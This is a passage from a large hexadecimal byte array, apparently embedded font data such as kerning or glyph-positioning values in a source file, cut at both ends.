0x96, 0xD2, 0x02, 0xBF, + 0x96, 0xD5, 0x96, 0xD5, 0x02, 0xC1, 0x96, 0xD7, + 0x96, 0xD7, 0x02, 0xC2, 0x97, 0x08, 0x97, 0x11, + 0x02, 0xC3, 0x97, 0x39, 0x97, 0x3E, 0x02, 0xCD, + 0x97, 0x40, 0x97, 0x52, 0x02, 0xD3, 0x97, 0xB8, + 0x97, 0xCE, 0x02, 0xE6, 0x97, 0xD0, 0x97, 0xD5, + 0x02, 0xFD, 0x97, 0xD7, 0x97, 0xD7, 0x03, 0x03, + 0x9A, 0xD8, 0x9A, 0xDA, 0x03, 0x04, 0x9A, 0xDC, + 0x9A, 0xDE, 0x03, 0x07, 0x00, 0x02, 0x0D, 0x28, + 0x00, 0x04, 0x00, 0x00, 0x0C, 0xD4, 0x0C, 0xDC, + 0x00, 0x26, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x08, + 0xFF, 0xF9, 0x00, 0x11, 0x00, 0x18, 0xFF, 0xFB, + 0xFF, 0xFA, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, + 0xFF, 0xFD, 0x00, 0x00, 0xFF, 0xE7, 0xFF, 0xC7, + 0xFF, 0xFC, 0xFF, 0xE0, 0xFF, 0x90, 0x00, 0x14, + 0xFF, 0xF7, 0xFF, 0xC3, 0x00, 0x1E, 0xFF, 0x6E, + 0xFF, 0xDD, 0xFF, 0xEA, 0x00, 0x11, 0xFF, 0xCE, + 0xFF, 0xB9, 0xFF, 0xC2, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x08, 0x00, 0x0D, 0x00, 0x00, + 0xFF, 0xF8, 0x00, 0x05, 0x00, 0x07, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, + 0xFF, 0xFB, 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xCC, 0xFF, 0xEE, 0x00, 0x14, 0xFF, 0xF4, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD4, 0xFF, 0xD0, + 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF8, 0xFF, 0xCD, 0xFF, 0xF3, + 0x00, 0x05, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF4, 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, + 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDA, + 0xFF, 0xEF, 0x00, 0x00, 0xFF, 0xFA, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFD, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE0, 0xFF, 0xDA, 0x00, 0x08, + 0xFF, 0xF0, 0x00, 0x05, 0x00, 0x00, 0xFF, 0xF9, + 0xFF, 0xF7, 0xFF, 0xE1, 0xFF, 0xF0, 0x00, 0x05, + 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x0E, + 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, + 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, + 0x00, 0x00, 0x00, 0x0E, 0x00, 0x0A, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD1, 0x00, 0x0E, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE2, 0x00, 0x0E, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, + 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, + 0x00, 0x08, 0x00, 0x1A, 0xFF, 0xDF, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x13, 0x00, 0x07, + 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEA, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x06, 0xFF, 0xED, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, + 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, + 0x00, 0x08, 0x00, 0x04, 0x00, 0x0C, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE2, 0xFF, 0xCF, + 0x00, 0x00, 0x00, 0x12, 0xFF, 0xDE, 0x00, 0x00, + 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xCD, 0xFF, 0xC9, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDC, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xED, 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x06, 0x00, 0x18, 0x00, 0x00, + 0x00, 0x09, 0x00, 0x06, 0x00, 0x15, 0x00, 0x04, + 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, + 0x00, 0x0F, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0x9E, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xB9, 0xFF, 0x9F, 0xFF, 0xAF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF4, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDE, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xAA, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, + 0xFF, 0xB1, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xB2, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xA8, 0x00, 0x00, + 0xFF, 0xF8, 0xFF, 0xEA, 0xFF, 0xB1, 0xFF, 0xB4, + 0xFF, 0xE3, 0xFF, 0xA7, 0xFF, 0xDD, 0x00, 0x08, + 0xFF, 0xA7, 0xFF, 0xA9, 0xFF, 0x89, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0B, 0x00, 0x0D, 0x00, 0x1C, + 0x00, 0x15, 0x00, 0x00, 0x00, 0x05, 0x00, 0x15, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE5, 0xFF, 0xB4, 0x00, 0x03, 0xFF, 0xD8, + 0xFF, 0xF7, 0x00, 0x00, 0xFF, 0xF5, 0xFF, 0xBE, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDE, 0xFF, 0xEB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xCA, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF6, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF5, 0x00, 0x0B, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE2, + 0x00, 0x05, 0x00, 0x00, 0xFF, 0xED, 0xFF, 0xE1, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x00, + 0x00, 0x0B, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFC, 0xFF, 0xF8, 0x00, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x14, + 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xF7, 0x00, 0x0A, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, + 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF4, 0x00, 0x06, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE2, 0x00, 0x00, 0xFF, 0xFB, 0xFF, 0xF1, + 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF8, 0xFF, 0xCE, 0x00, 0x00, 0x00, 0x0E, + 0xFF, 0xDA, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xED, + 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xCA, 0x00, 0x00, 0xFF, 0xF0, + 0xFF, 0xED, 0xFF, 0xE5, 0xFF, 0xEA, 0xFF, 0xE9, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x14, 0x00, 0x00, 0xFF, 0x7A, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x2B, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0x9E, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xCA, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xB6, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xAA, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x7E, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x09, 0x00, 0x00, 0xFF, 0xF8, + 0x00, 0x04, 0x00, 0x05, 0xFF, 0xF8, 0x00, 0x09, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFC, 0xFF, 0xFA, + 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF9, + 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEE, + 0xFF, 0xE6, 0x00, 0x00, 0x00, 0x0B, 0xFF, 0xF8, + 0xFF, 0xD7, 0x00, 0x0D, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x00, 0xFF, 0xEE, 0xFF, 0xEA, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, + 0xFF, 0xF5, 0x00, 0x00, 0xFF, 0xEB, 0xFF, 0xFC, + 0xFF, 0xF0, 0xFF, 0xF8, 0xFF, 0xFB, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xA2, 0xFF, 0xF1, 0x00, 0x14, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0x5C, 0xFF, 0xFD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xA2, 0x00, 0x00, + 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, 0xFF, 0xF2, + 0x00, 0x00, 0xFF, 0xF8, 0xFF, 0xF9, 0x00, 0x05, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, + 0xFF, 0xF8, 0x00, 0x0A, 0xFF, 0xFA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF1, 0xFF, 0xFA, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE8, 0xFF, 0xE2, + 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xB8, 0xFF, 0xA6, 0xFF, 0xBD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEB, 0x00, 0x1C, + 0xFF, 0xEA, 0xFF, 0xDF, 0x00, 0x00, 0xFF, 0xF5, + 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0xFF, 0xC5, + 0xFF, 0xC4, 0x00, 0x00, 0xFF, 0xCF, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xCA, 0x00, 0x13, 0xFF, 0xFB, + 0x00, 0x00, 0xFF, 0xC2, 0xFF, 0xC6, 0xFF, 0xE7, + 0xFF, 0xB8, 0xFF, 0xDF, 0xFF, 0xFD, 0xFF, 0xAA, + 0xFF, 0xB6, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xBB, + 0xFF, 0xBA, 0x00, 0x00, 0xFF, 0xB8, 0xFF, 0xD6, + 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x00, 0xFF, 0xF2, + 0xFF, 0xEE, 0x00, 0x00, 0xFF, 0xFB, 0xFF, 0xC3, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x17, 0x00, 0x00, 0xFF, 0xBC, 0xFF, 0xAA, + 0xFF, 0xB8, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xAA, 0x00, 0x03, 0xFF, 0xF6, 0xFF, 0xEA, + 0xFF, 0xD1, 0xFF, 0xBA, 0xFF, 0xBB, 0xFF, 0xB2, + 0xFF, 0xC5, 0x00, 